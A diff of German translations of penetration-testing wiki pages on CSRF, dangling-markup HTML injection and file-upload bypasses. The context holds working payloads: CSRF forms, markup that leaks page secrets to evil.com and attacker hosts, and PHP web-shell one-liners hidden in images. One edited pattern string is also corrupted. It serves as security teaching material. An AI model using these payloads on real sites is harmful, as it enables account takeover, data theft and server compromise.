@@ -4,7 +4,7 @@
 
 ## Cross-Site Request Forgery (CSRF) Erklärt
 
-**Cross-Site Request Forgery (CSRF)** ist eine Art von Sicherheitsanfälligkeit, die in Webanwendungen gefunden wird. Sie ermöglicht es Angreifern, Aktionen im Namen ahnungsloser Benutzer durch Ausnutzung ihrer authentifizierten Sitzungen durchzuführen. Der Angriff wird ausgeführt, wenn ein Benutzer, der in die Plattform eines Opfers eingeloggt ist, eine bösartige Seite besucht. Diese Seite löst dann Anfragen an das Konto des Opfers aus, indem sie Methoden wie das Ausführen von JavaScript, das Einreichen von Formularen oder das Abrufen von Bildern verwendet.
+**Cross-Site Request Forgery (CSRF)** ist eine Art von Sicherheitsanfälligkeit, die in Webanwendungen gefunden wird. Sie ermöglicht es Angreifern, Aktionen im Namen ahnungsloser Benutzer durch Ausnutzung ihrer authentifizierten Sitzungen auszuführen. Der Angriff wird ausgeführt, wenn ein Benutzer, der in die Plattform eines Opfers eingeloggt ist, eine bösartige Seite besucht. Diese Seite löst dann Anfragen an das Konto des Opfers aus, indem sie Methoden wie das Ausführen von JavaScript, das Einreichen von Formularen oder das Abrufen von Bildern verwendet.
 
 ### Voraussetzungen für einen CSRF-Angriff
 
@@ -25,7 +25,7 @@ Sie könnten **die Anfrage in Burp abfangen** und die CSRF-Schutzmaßnahmen übe
 Mehrere Gegenmaßnahmen können implementiert werden, um sich gegen CSRF-Angriffe zu schützen:
 
 - [**SameSite-Cookies**](hacking-with-cookies/index.html#samesite): Dieses Attribut verhindert, dass der Browser Cookies zusammen mit Cross-Site-Anfragen sendet. [Mehr über SameSite-Cookies](hacking-with-cookies/index.html#samesite).
-- [**Cross-Origin Resource Sharing**](cors-bypass.md): Die CORS-Richtlinie der Opferseite kann die Durchführbarkeit des Angriffs beeinflussen, insbesondere wenn der Angriff das Lesen der Antwort von der Opferseite erfordert. [Erfahren Sie mehr über CORS-Umgehungen](cors-bypass.md).
+- [**Cross-Origin Resource Sharing**](cors-bypass.md): Die CORS-Richtlinie der Opferseite kann die Durchführbarkeit des Angriffs beeinflussen, insbesondere wenn der Angriff das Lesen der Antwort von der Opferseite erfordert. [Erfahren Sie mehr über CORS-Umgehung](cors-bypass.md).
 - **Benutzerauthentifizierung**: Das Anfordern des Passworts des Benutzers oder das Lösen eines Captchas kann die Absicht des Benutzers bestätigen.
 - **Überprüfung von Referrer- oder Origin-Headern**: Die Validierung dieser Header kann helfen sicherzustellen, dass Anfragen von vertrauenswürdigen Quellen stammen. Allerdings kann eine sorgfältige Gestaltung von URLs schlecht implementierte Überprüfungen umgehen, wie zum Beispiel:
   - Verwendung von `http://mal.net?orig=http://example.com` (URL endet mit der vertrauenswürdigen URL)
@@ -43,7 +43,7 @@ Vielleicht ist das Formular, das Sie ausnutzen möchten, darauf vorbereitet, ein
 
 ### Fehlendes Token
 
-Anwendungen könnten einen Mechanismus implementieren, um **Tokens zu validieren**, wenn sie vorhanden sind. Eine Anfälligkeit entsteht jedoch, wenn die Validierung ganz übersprungen wird, wenn das Token fehlt. Angreifer können dies ausnutzen, indem sie **den Parameter entfernen**, der das Token trägt, nicht nur dessen Wert. Dies ermöglicht es ihnen, den Validierungsprozess zu umgehen und einen Cross-Site Request Forgery (CSRF)-Angriff effektiv durchzuführen.
+Anwendungen könnten einen Mechanismus implementieren, um **Tokens** zu **validieren**, wenn sie vorhanden sind. Eine Sicherheitsanfälligkeit entsteht jedoch, wenn die Validierung ganz übersprungen wird, wenn das Token fehlt. Angreifer können dies ausnutzen, indem sie **den Parameter entfernen**, der das Token trägt, nicht nur dessen Wert. Dies ermöglicht es ihnen, den Validierungsprozess zu umgehen und einen Cross-Site Request Forgery (CSRF)-Angriff effektiv durchzuführen.
 
 ### CSRF-Token ist nicht an die Benutzersitzung gebunden
 
@@ -55,11 +55,11 @@ So nutzen Angreifer dies aus:
 2. **Ein gültiges CSRF-Token** aus dem globalen Pool **erhalten**.
 3. **Dieses Token** in einem CSRF-Angriff gegen ein Opfer **verwenden**.
 
-Diese Anfälligkeit ermöglicht es Angreifern, unbefugte Anfragen im Namen des Opfers zu stellen und die **unzureichende Token-Validierungsmechanismus** der Anwendung auszunutzen.
+Diese Sicherheitsanfälligkeit ermöglicht es Angreifern, unbefugte Anfragen im Namen des Opfers zu stellen und die **unzureichende Token-Validierungsmechanismus** der Anwendung auszunutzen.
 
 ### Methodenumgehung
 
-Wenn die Anfrage eine "**seltsame**" **Methode** verwendet, überprüfen Sie, ob die **Methoden**-**Überschreibungsfunktionalität** funktioniert. Wenn beispielsweise die **PUT**-Methode verwendet wird, können Sie versuchen, die **POST**-Methode zu verwenden und **zu senden**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
+Wenn die Anfrage eine "**seltsame**" **Methode** verwendet, überprüfen Sie, ob die **Methoden** **Überschreibungsfunktionalität** funktioniert. Wenn beispielsweise die **PUT**-Methode verwendet wird, können Sie versuchen, die **POST**-Methode zu **verwenden** und **zu senden**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
 
 Dies könnte auch funktionieren, indem Sie den **\_method-Parameter innerhalb einer POST-Anfrage** senden oder die **Header** verwenden:
 
@@ -78,7 +78,7 @@ Wenn die Anfrage einen **benutzerdefinierten Header** mit einem **Token** als **
 
 Anwendungen können CSRF-Schutz implementieren, indem sie das Token sowohl in einem Cookie als auch in einem Anfrageparameter duplizieren oder indem sie ein CSRF-Cookie setzen und überprüfen, ob das im Backend gesendete Token mit dem Cookie übereinstimmt. Die Anwendung validiert Anfragen, indem sie überprüft, ob das Token im Anfrageparameter mit dem Wert im Cookie übereinstimmt.
 
-Diese Methode ist jedoch anfällig für CSRF-Angriffe, wenn die Website Schwächen aufweist, die es einem Angreifer ermöglichen, ein CSRF-Cookie im Browser des Opfers zu setzen, wie z.B. eine CRLF-Anfälligkeit. Der Angreifer kann dies ausnutzen, indem er ein täuschendes Bild lädt, das das Cookie setzt, gefolgt von der Einleitung des CSRF-Angriffs.
+Diese Methode ist jedoch anfällig für CSRF-Angriffe, wenn die Website Schwächen aufweist, die es einem Angreifer ermöglichen, ein CSRF-Cookie im Browser des Opfers zu setzen, wie z.B. eine CRLF-Sicherheitsanfälligkeit. Der Angreifer kann dies ausnutzen, indem er ein täuschendes Bild lädt, das das Cookie setzt, gefolgt von der Einleitung des CSRF-Angriffs.
 
 Hier ist ein Beispiel, wie ein Angriff strukturiert sein könnte:
 ```html
@@ -103,7 +103,7 @@ onerror="document.forms[0].submit();" />
 </html>
 ```
 > [!NOTE]
-> Beachten Sie, dass wenn der **csrf-Token mit dem Sitzungscookie verbunden ist, dieser Angriff nicht funktioniert**, da Sie die Sitzung des Opfers setzen müssen, und daher würden Sie sich selbst angreifen.
+> Beachten Sie, dass wenn das **csrf-Token mit dem Sitzungscookie verbunden ist, dieser Angriff nicht funktionieren wird**, da Sie die Sitzung des Opfers setzen müssen, und daher würden Sie sich selbst angreifen.
 
 ### Content-Type-Änderung
 
@@ -113,7 +113,7 @@ Laut [**dieser**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_
 - **`multipart/form-data`**
 - **`text/plain`**
 
-Beachten Sie jedoch, dass die **Logik des Servers variieren kann**, abhängig vom verwendeten **Content-Type**, daher sollten Sie die genannten Werte und andere wie **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ 
+Beachten Sie jedoch, dass die **Logik der Server variieren kann**, abhängig vom verwendeten **Content-Type**, daher sollten Sie die genannten Werte und andere wie **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ ausprobieren.
 
 Beispiel (von [hier](https://brycec.me/posts/corctf_2021_challenges)) für das Senden von JSON-Daten als text/plain:
 ```html
@@ -138,11 +138,11 @@ form.submit()
 
 Beim Versuch, JSON-Daten über eine POST-Anfrage zu senden, ist es nicht direkt möglich, `Content-Type: application/json` in einem HTML-Formular zu verwenden. Ebenso initiiert die Nutzung von `XMLHttpRequest`, um diesen Inhaltstyp zu senden, eine Preflight-Anfrage. Dennoch gibt es Strategien, um diese Einschränkung möglicherweise zu umgehen und zu überprüfen, ob der Server die JSON-Daten unabhängig vom Content-Type verarbeitet:
 
-1. **Verwenden alternativer Inhaltstypen**: Verwenden Sie `Content-Type: text/plain` oder `Content-Type: application/x-www-form-urlencoded`, indem Sie `enctype="text/plain"` im Formular festlegen. Dieser Ansatz testet, ob das Backend die Daten unabhängig vom Content-Type nutzt.
+1. **Verwendung alternativer Inhaltstypen**: Verwenden Sie `Content-Type: text/plain` oder `Content-Type: application/x-www-form-urlencoded`, indem Sie `enctype="text/plain"` im Formular festlegen. Dieser Ansatz testet, ob das Backend die Daten unabhängig vom Content-Type nutzt.
 2. **Inhaltstyp ändern**: Um eine Preflight-Anfrage zu vermeiden und sicherzustellen, dass der Server den Inhalt als JSON erkennt, können Sie die Daten mit `Content-Type: text/plain; application/json` senden. Dies löst keine Preflight-Anfrage aus, könnte jedoch vom Server korrekt verarbeitet werden, wenn er so konfiguriert ist, dass er `application/json` akzeptiert.
 3. **Nutzung von SWF Flash-Dateien**: Eine weniger gängige, aber machbare Methode besteht darin, eine SWF-Flash-Datei zu verwenden, um solche Einschränkungen zu umgehen. Für ein tieferes Verständnis dieser Technik siehe [diesen Beitrag](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
 
-### Umgehung der Überprüfungen von Referrer / Origin
+### Umgehung der Referrer-/Origin-Prüfung
 
 **Vermeiden Sie den Referrer-Header**
 
@@ -189,7 +189,7 @@ document.forms[0].submit()
 ```
 ### **HEAD-Methode umgehen**
 
-Im ersten Teil von [**diesem CTF-Bericht**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) wird erklärt, dass [Oaks Quellcode](https://github.com/oakserver/oak/blob/main/router.ts#L281) einen Router enthält, der **HEAD-Anfragen als GET-Anfragen** ohne Antwortkörper behandelt - ein gängiger Workaround, der nicht einzigartig für Oak ist. Anstelle eines spezifischen Handlers, der sich mit HEAD-Anfragen befasst, werden sie einfach **dem GET-Handler übergeben, aber die App entfernt einfach den Antwortkörper**.
+Im ersten Teil von [**diesem CTF-Bericht**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) wird erklärt, dass [Oaks Quellcode](https://github.com/oakserver/oak/blob/main/router.ts#L281) einen Router festlegt, der **HEAD-Anfragen als GET-Anfragen** ohne Antwortkörper behandelt - ein gängiger Workaround, der nicht einzigartig für Oak ist. Anstatt einen spezifischen Handler zu haben, der sich mit HEAD-Anfragen befasst, werden sie einfach **dem GET-Handler übergeben, aber die App entfernt einfach den Antwortkörper**.
 
 Daher, wenn eine GET-Anfrage eingeschränkt wird, könntest du einfach **eine HEAD-Anfrage senden, die als GET-Anfrage verarbeitet wird**.
 
@@ -197,7 +197,7 @@ Daher, wenn eine GET-Anfrage eingeschränkt wird, könntest du einfach **eine HE
 
 ### **Exfiltrieren des CSRF-Tokens**
 
-Wenn ein **CSRF-Token** als **Schutz** verwendet wird, könntest du versuchen, es zu **exfiltrieren**, indem du eine [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens)-Schwachstelle oder eine [**Dangling Markup**](dangling-markup-html-scriptless-injection/)-Schwachstelle ausnutzt.
+Wenn ein **CSRF-Token** als **Schutz** verwendet wird, könntest du versuchen, es zu **exfiltrieren**, indem du eine [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens)-Schwachstelle oder eine [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html)-Schwachstelle ausnutzt.
 
 ### **GET mit HTML-Tags**
 ```xml
@@ -535,7 +535,7 @@ height="600" width="800"></iframe>
 <button type="submit">Submit</button>
 </form>
 ```
-### **POSTSteal CSRF-Token mit Ajax und ein Formular senden**
+### **POSTSteal CSRF-Token mit Ajax und sende ein Post mit einem Formular**
 ```html
 <body onload="getData()">
 <form

src/pentesting-web/dangling-markup-html-scriptless-injection/README.md

@@ -4,16 +4,16 @@
 
 ## Resume
 
-Diese Technik kann verwendet werden, um Informationen von einem Benutzer zu extrahieren, wenn eine **HTML-Injection gefunden wird**. Dies ist sehr nützlich, wenn Sie **keinen Weg finden, um eine** [**XSS** ](../xss-cross-site-scripting/) zu exploiten, aber Sie **einige HTML-Tags injizieren können**.\
+Diese Technik kann verwendet werden, um Informationen von einem Benutzer zu extrahieren, wenn eine **HTML-Injection gefunden wird**. Dies ist sehr nützlich, wenn Sie **keinen Weg finden, um eine** [**XSS** ](../xss-cross-site-scripting/index.html) zu exploiten, aber Sie **einige HTML-Tags injizieren können**.\
 Es ist auch nützlich, wenn ein **Geheimnis im Klartext** im HTML gespeichert ist und Sie es **exfiltrieren** möchten, oder wenn Sie eine Skriptausführung irreführen möchten.
 
-Mehrere hier kommentierte Techniken können verwendet werden, um einige [**Content Security Policy**](../content-security-policy-csp-bypass/) zu umgehen, indem Informationen auf unerwartete Weise exfiltriert werden (HTML-Tags, CSS, HTTP-Meta-Tags, Formulare, Basis...).
+Mehrere hier kommentierte Techniken können verwendet werden, um einige [**Content Security Policy**](../content-security-policy-csp-bypass/index.html) zu umgehen, indem Informationen auf unerwartete Weise exfiltriert werden (HTML-Tags, CSS, HTTP-Meta-Tags, Formulare, Basis...).
 
 ## Main Applications
 
 ### Stealing clear text secrets
 
-Wenn Sie `<img src='http://evil.com/log.cgi?` injizieren, sendet das Opfer Ihnen beim Laden der Seite den gesamten Code zwischen dem injizierten `img`-Tag und dem nächsten Anführungszeichen im Code. Wenn sich ein Geheimnis irgendwie in diesem Abschnitt befindet, werden Sie es stehlen (Sie können dasselbe mit einem doppelten Anführungszeichen tun, schauen Sie sich an, was interessanter zu verwenden sein könnte).
+Wenn Sie `<img src='http://evil.com/log.cgi?` injizieren, wird der Opferbrowser Ihnen den gesamten Code zwischen dem injizierten `img`-Tag und dem nächsten Anführungszeichen im Code senden, wenn die Seite geladen wird. Wenn sich ein Geheimnis irgendwie in diesem Abschnitt befindet, werden Sie es stehlen (Sie können dasselbe mit einem doppelten Anführungszeichen tun, schauen Sie sich an, was interessanter zu verwenden sein könnte).
 
 Wenn das `img`-Tag verboten ist (zum Beispiel aufgrund von CSP), können Sie auch `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?` verwenden.
 ```html
@@ -23,7 +23,7 @@ Wenn das `img`-Tag verboten ist (zum Beispiel aufgrund von CSP), können Sie auc
 ```
 Beachten Sie, dass **Chrome HTTP-URLs** mit "<" oder "\n" blockiert, sodass Sie andere Protokollschemata wie "ftp" ausprobieren können.
 
-Sie können auch CSS `@import` missbrauchen (es sendet den gesamten Code, bis es ein ";" findet).
+Sie können auch CSS `@import` missbrauchen (sendet den gesamten Code, bis es ein ";" findet).
 ```html
 <style>@import//hackvertor.co.uk?     <--- Injected
 <b>steal me!</b>;
@@ -59,9 +59,9 @@ Ein Angreifer kann dies verwenden, um Informationen zu stehlen.
 
 Finden Sie ein [**Beispiel für diesen Angriff in diesem Bericht**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).
 
-### Stehlen von Klartextgeheimnissen 2
+### Stehlen von Klartext-Geheimnissen 2
 
-Mit der zuletzt erwähnten Technik zum Stehlen von Formularen (Einfügen eines neuen Formular-Headers) können Sie dann ein neues Eingabefeld injizieren:
+Mit der zuletzt erwähnten Technik zum Stehlen von Formularen (Einfügen eines neuen Formular-Headers) können Sie dann ein neues Eingabefeld einfügen:
 ```html
 <input type='hidden' name='review_body' value="
 ```
@@ -71,7 +71,7 @@ Sie können dasselbe tun, indem Sie ein Formular und ein `<option>`-Tag injizier
 ```html
 <form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
 ```
-### Formparameter-Injection
+### Formparameter-Injektion
 
 Sie können den Pfad eines Formulars ändern und neue Werte einfügen, sodass eine unerwartete Aktion ausgeführt wird:
 ```html
@@ -90,26 +90,26 @@ Sie können den Pfad eines Formulars ändern und neue Werte einfügen, sodass ei
 
 `<noscript></noscript>` ist ein Tag, dessen Inhalt interpretiert wird, wenn der Browser JavaScript nicht unterstützt (Sie können JavaScript in Chrome unter [chrome://settings/content/javascript](chrome://settings/content/javascript) aktivieren/deaktivieren).
 
-Eine Möglichkeit, den Inhalt der Webseite vom Punkt der Injektion bis zum Ende auf eine von einem Angreifer kontrollierte Seite zu exfiltrieren, besteht darin, dies zu injizieren:
+Eine Möglichkeit, den Inhalt der Webseite vom Punkt der Injektion bis zum Ende auf eine von einem Angreifer kontrollierte Seite zu exfiltrieren, besteht darin, dies einzufügen:
 ```html
 <noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
 ```
-### Umgehung von CSP mit Benutzerinteraktion
+### Umgehen von CSP mit Benutzerinteraktion
 
-Aus dieser [portswiggers-Forschung](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) können Sie lernen, dass selbst aus den **strengsten CSP-Umgebungen** Sie immer noch **Daten exfiltrieren** können, wenn Sie etwas **Benutzerinteraktion** haben. In diesem Fall werden wir das Payload verwenden:
+Aus dieser [portswiggers research](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) können Sie lernen, dass selbst aus den **strengsten CSP-Umgebungen** Sie immer noch **Daten exfiltrieren** können, wenn Sie etwas **Benutzerinteraktion** haben. In diesem Fall werden wir das Payload verwenden:
 ```html
 <a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
 <base target='
 ```
-Beachten Sie, dass Sie das **Opfer** bitten werden, auf einen **Link** zu **klicken**, der ihn zu einem von Ihnen kontrollierten **Payload** weiterleitet. Beachten Sie auch, dass das **`target`**-Attribut innerhalb des **`base`**-Tags **HTML-Inhalt** bis zum nächsten einfachen Anführungszeichen enthalten wird.\
-Dies wird dazu führen, dass der **Wert** von **`window.name`**, wenn der Link angeklickt wird, all diesen **HTML-Inhalt** enthalten wird. Daher, da Sie die Seite **kontrollieren**, auf die das Opfer durch Klicken auf den Link zugreift, können Sie auf **`window.name`** zugreifen und diese Daten **exfiltrieren**:
+Beachten Sie, dass Sie die **Opfer** bitten werden, auf einen **Link** zu **klicken**, der sie zu einem von Ihnen kontrollierten **Payload** weiterleitet. Beachten Sie auch, dass das **`target`**-Attribut innerhalb des **`base`**-Tags **HTML-Inhalt** bis zum nächsten einfachen Anführungszeichen enthalten wird.\
+Dies wird dazu führen, dass der **Wert** von **`window.name`**, wenn der Link angeklickt wird, all diesen **HTML-Inhalt** enthalten wird. Daher, da Sie die **Seite** kontrollieren, auf die das Opfer durch Klicken auf den Link zugreift, können Sie auf **`window.name`** zugreifen und diese Daten **exfiltrieren**:
 ```html
 <script>
 if(window.name) {
 new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
 </script>
 ```
-### Irreführender Skript-Workflow 1 - HTML-Namensraum-Angriff
+### Irreführender Skript-Workflow 1 - HTML-Namespace-Angriff
 
 Fügen Sie ein neues Tag mit einer ID innerhalb des HTML ein, das das nächste überschreibt und mit einem Wert, der den Fluss eines Skripts beeinflusst. In diesem Beispiel wählen Sie aus, mit wem Informationen geteilt werden:
 ```html
@@ -186,8 +186,8 @@ Dies kann mit einer **CSP** bezüglich **http-equiv** ( `Content-Security-Policy
 
 ### Neuer \<portal HTML-Tag
 
-Sie finden eine sehr **interessante Forschung** zu ausnutzbaren Schwachstellen des \<portal-Tags [hier](https://research.securitum.com/security-analysis-of-portal-element/).\
-Zum Zeitpunkt dieses Schreibens müssen Sie den Portal-Tag in Chrome unter `chrome://flags/#enable-portals` aktivieren, sonst funktioniert es nicht.
+Sie können eine sehr **interessante Forschung** zu ausnutzbaren Schwachstellen des \<portal-Tags [hier](https://research.securitum.com/security-analysis-of-portal-element/) finden.\
+Zum Zeitpunkt des Schreibens müssen Sie den Portal-Tag in Chrome unter `chrome://flags/#enable-portals` aktivieren, sonst funktioniert es nicht.
 ```html
 <portal src='https://attacker-server?
 ```
@@ -197,7 +197,7 @@ Nicht alle Möglichkeiten, um Konnektivität in HTML zu leaken, sind für Dangli
 
 ## SS-Leaks
 
-Dies ist ein **Mix** aus **dangling markup und XS-Leaks**. Einerseits ermöglicht die Schwachstelle, **HTML** (aber kein JS) in eine Seite der **gleichen Herkunft** derjenigen, die wir angreifen werden, **einzufügen**. Andererseits werden wir die Seite, in die wir HTML einfügen können, nicht direkt **angreifen**, sondern **eine andere Seite**.
+Dies ist ein **Mix** aus **dangling markup und XS-Leaks**. Einerseits ermöglicht die Schwachstelle, **HTML** (aber kein JS) in eine Seite der **gleichen Herkunft** derjenigen, die wir angreifen werden, zu **injizieren**. Andererseits werden wir die Seite, in die wir HTML injizieren können, nicht direkt **angreifen**, sondern **eine andere Seite**.
 
 {{#ref}}
 ss-leaks.md

src/pentesting-web/file-upload/README.md

@@ -40,22 +40,22 @@ Weitere nützliche Erweiterungen:
 - _file.php%0a.png_
 - _file.php%0d%0a.png_
 - _file.phpJunk123png_
-5. Fügen Sie **eine weitere Schicht von Erweiterungen** zur vorherigen Überprüfung hinzu:
+5. Fügen Sie **eine weitere Ebene von Erweiterungen** zur vorherigen Überprüfung hinzu:
 - _file.png.jpg.php_
 - _file.php%00.png%00.jpg_
-6. Versuchen Sie, die **exec-Erweiterung vor der gültigen Erweiterung** zu setzen und beten Sie, dass der Server falsch konfiguriert ist. (nützlich zur Ausnutzung von Apache-Misconfigurationen, bei denen alles mit der Erweiterung **.php** ausgeführt wird, aber nicht unbedingt mit .php enden muss):
+6. Versuchen Sie, die **exec-Erweiterung vor der gültigen Erweiterung** zu platzieren und beten Sie, dass der Server falsch konfiguriert ist. (nützlich zur Ausnutzung von Apache-Misconfigurationen, bei denen alles mit der Erweiterung **.php** ausgeführt wird, aber nicht unbedingt mit .php enden muss):
 - _ex: file.php.png_
-7. Verwenden Sie **NTFS Alternate Data Stream (ADS)** in **Windows**. In diesem Fall wird ein Doppelpunktzeichen “:” nach einer verbotenen Erweiterung und vor einer erlaubten eingefügt. Infolgedessen wird eine **leere Datei mit der verbotenen Erweiterung** auf dem Server erstellt (z.B. “file.asax:.jpg”). Diese Datei kann später mit anderen Techniken bearbeitet werden, z.B. mit ihrem kurzen Dateinamen. Das Muster “**::$data**” kann auch verwendet werden, um nicht leere Dateien zu erstellen. Daher kann das Hinzufügen eines Punktzeichens nach diesem Muster auch nützlich sein, um weitere Einschränkungen zu umgehen (z.B. “file.asp::$data.”)
+7. Verwenden von **NTFS-Alternativdatenstrom (ADS)** in **Windows**. In diesem Fall wird ein Doppelpunktzeichen “:” nach einer verbotenen Erweiterung und vor einer erlaubten eingefügt. Infolgedessen wird eine **leere Datei mit der verbotenen Erweiterung** auf dem Server erstellt (z.B. “file.asax:.jpg”). Diese Datei könnte später mit anderen Techniken bearbeitet werden, z.B. mit ihrem kurzen Dateinamen. Das Muster “**::$data**” kann auch verwendet werden, um nicht leere Dateien zu erstellen. Daher kann das Hinzufügen eines Punktzeichens nach diesem Muster auch nützlich sein, um weitere Einschränkungen zu umgehen (z.B. “file.asp::$data.”)
 8. Versuchen Sie, die Dateinamenlimits zu brechen. Die gültige Erweiterung wird abgeschnitten. Und die bösartige PHP bleibt. AAA<--SNIP-->AAA.php
 
 ```
 # Linux maximal 255 Bytes
 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
-Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 hier und Hinzufügen von .png
+Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 hier und Hinzufügen von .png
 # Laden Sie die Datei hoch und überprüfen Sie die Antwort, wie viele Zeichen sie zulässt. Angenommen 236
 python -c 'print "A" * 232'
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-# Machen Sie die Payload
+# Erstellen Sie die Payload
 AAA<--SNIP 232 A-->AAA.php.png
 ```
 
@@ -67,19 +67,19 @@ AAA<--SNIP 232 A-->AAA.php.png
 `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
 `\` oder Sie könnten auch **die Payload direkt** in ein Bild einfügen:\
 `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
-- Wenn **Kompression** zu Ihrem Bild hinzugefügt wird, z.B. mit einigen Standard-PHP-Bibliotheken wie [PHP-GD](https://www.php.net/manual/fr/book.image.php), sind die vorherigen Techniken nicht nützlich. Sie könnten jedoch die **PLTE-Chunks**-**Technik, die hier definiert ist** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
+- Wenn **Kompression zu Ihrem Bild hinzugefügt wird**, z.B. mit einigen Standard-PHP-Bibliotheken wie [PHP-GD](https://www.php.net/manual/fr/book.image.php), sind die vorherigen Techniken nicht nützlich. Sie könnten jedoch die **PLTE-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
 - [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
-- Die Webseite könnte auch das **Bild** **verkleinern**, z.B. mit den PHP-GD-Funktionen `imagecopyresized` oder `imagecopyresampled`. Sie könnten jedoch die **IDAT-Chunks**-**Technik, die hier definiert ist** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
+- Die Webseite könnte auch das **Bild** **verkleinern**, z.B. mit den PHP-GD-Funktionen `imagecopyresized` oder `imagecopyresampled`. Sie könnten jedoch die **IDAT-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
 - [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
-- Eine weitere Technik, um eine Payload zu erstellen, die **eine Größenänderung eines Bildes übersteht**, ist die Verwendung der PHP-GD-Funktion `thumbnailImage`. Sie könnten jedoch die **tEXt-Chunks**-**Technik, die hier definiert ist** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
+- Eine weitere Technik, um eine Payload zu erstellen, die **eine Größenänderung eines Bildes übersteht**, verwendet die PHP-GD-Funktion `thumbnailImage`. Sie könnten jedoch die **tEXt-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
 - [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
 
 ### Weitere Tricks zur Überprüfung
 
-- Finden Sie eine Schwachstelle, um die Datei, die bereits hochgeladen wurde, **umzubenennen** (um die Erweiterung zu ändern).
+- Finden Sie eine Schwachstelle, um die bereits hochgeladene Datei **umzubenennen** (um die Erweiterung zu ändern).
 - Finden Sie eine **Local File Inclusion**-Schwachstelle, um die Hintertür auszuführen.
 - **Mögliche Informationsoffenlegung**:
-1. Laden Sie die **gleiche Datei** **mehrmals** (und gleichzeitig) mit dem **gleichen Namen** hoch.
+1. Laden Sie **mehrmals** (und zur **gleichen Zeit**) die **gleiche Datei** mit dem **gleichen Namen** hoch.
 2. Laden Sie eine Datei mit dem **Namen** einer **Datei** oder **Ordners**, der **bereits existiert**.
 3. Laden Sie eine Datei mit **“.”, “..” oder “…” als Namen** hoch. Zum Beispiel, in Apache in **Windows**, wenn die Anwendung die hochgeladenen Dateien im Verzeichnis “/www/uploads/” speichert, wird der Dateiname “.” eine Datei namens “uploads” im Verzeichnis “/www/” erstellen.
 4. Laden Sie eine Datei hoch, die möglicherweise nicht leicht gelöscht werden kann, wie **“…:.jpg”** in **NTFS**. (Windows)
